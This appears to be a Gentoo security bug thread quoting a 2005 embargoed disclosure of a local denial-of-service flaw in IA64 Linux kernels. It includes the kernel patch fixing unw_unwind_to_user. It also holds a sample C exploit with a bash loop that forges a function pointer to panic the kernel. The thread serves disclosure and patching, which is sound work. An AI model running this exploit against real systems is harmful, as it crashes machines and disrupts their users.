Another day, another ia64 local DoS... This is superficially similar to what I flagged way back in: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0447 in terms of how it can panic, but the cause is different. We will be assigning a CVE to this. This isn't public yet. We're awaiting feedback from the ia64 crowd below on whether this is the final and correct fix, along 2.4 backpaches before we sort out a date. Just wanted to make folks who might be having an ia64 build in the pipe that we "have a situation"... ========================================================================== Date: Fri, 21 Jan 2005 17:39:13 +1100 From: Keith Owens <kaos@sgi.com> To: davidm@hpl.hp.com Cc: tony.luck@intel.com, steiner@sgi.com, bjorn_helgaas@hp.com Subject: Local DoS on IA64, 2.4 or 2.6 kernels Sanity check unw_unwind_to_user Signed-off-by: Keith Owens <kaos@sgi.com> Index: linux/arch/ia64/kernel/unwind.c =================================================================== --- linux.orig/arch/ia64/kernel/unwind.c 2005-01-20 11:47:00.000000000 +1100 +++ linux/arch/ia64/kernel/unwind.c 2005-01-21 17:09:10.000000000 +1100 @@ -1962,7 +1962,7 @@ EXPORT_SYMBOL(unw_unwind); int unw_unwind_to_user (struct unw_frame_info *info) { - unsigned long ip; + unsigned long ip, sp; while (unw_unwind(info) >= 0) { if (unw_get_rp(info, &ip) < 0) { @@ -1971,6 +1971,9 @@ unw_unwind_to_user (struct unw_frame_inf __FUNCTION__, ip); return -1; } + unw_get_sp(info, &sp); + if (sp >= (unsigned long)info->task + IA64_STK_OFFSET) + break; if (ip < FIXADDR_USER_END) return 0; } --- This is a local DoS against any IA64 kernel, both 2.4 and 2.6. Hence the private mail and the understated patch description above. David, if this is OK then please follow up with vendor-sec. I will not be publishing this patch for a couple of weeks. 2.4 needs a similar patch which I will do once this one has been reviewed. If a user space program fudges a function pointer and branches to a kernel address then unw_unwind_to_user goes at least one cycle too far. That results in ia64_sync_user_rbs() passing garbage to ia64_peek(). Sometimes the garbage ends up with laddr and bspstore being in completely different regions, which really breaks the slot calculations. I have seen oops in ia64_peek, I have even seen MCA in other functions and processes (I hate async MCA!). Sample exploit, from Jack Steiner. gcc tt.c -o tt PATH=.:$PATH ./tt1 ==> tt.c <== #include <stdio.h> int count = 10; unsigned long fp[2]; void (*func) (void); long fa(long i, long j, long k, long l, long m, long n, long o, long p, long q, long r) { if (i <= 0) { (*func) (); return 0; } return fa(--i, j, k, l, m, n, o, p, q, r); } void test() { volatile long x = 0; while (1) x = fa(count, x, x, x, x, x, x, x, x, x); } int main(int argc, char **argv) { volatile long x = 0; fp[0] = 0xbf989374bc6a7ef0UL; fp[1] = 0xbf8ffd62fab49c9c; func = &fp; if (argc > 1) count = atoi(argv[1]); printf("count: %d\n", count); x = fa(count, x, x, x, x, x, x, x, x, x); return 0; } ==> tt1 <== #!/bin/bash ulimit -c unlimited N=0 while [ $N -lt 10000 ] ; do tt $N N=`expr $N + 1` done
Sidenote: IA64 doesn't use or recommend 2.4 kernels so only 2.6 affected Gentoo-wise.
Not affected on this - we don't use 2.4 on IA64 and 2.6.11 vanilla-sources and 2.6.12 gentoo-sources are stable which both aren't affected by this. Closing bug.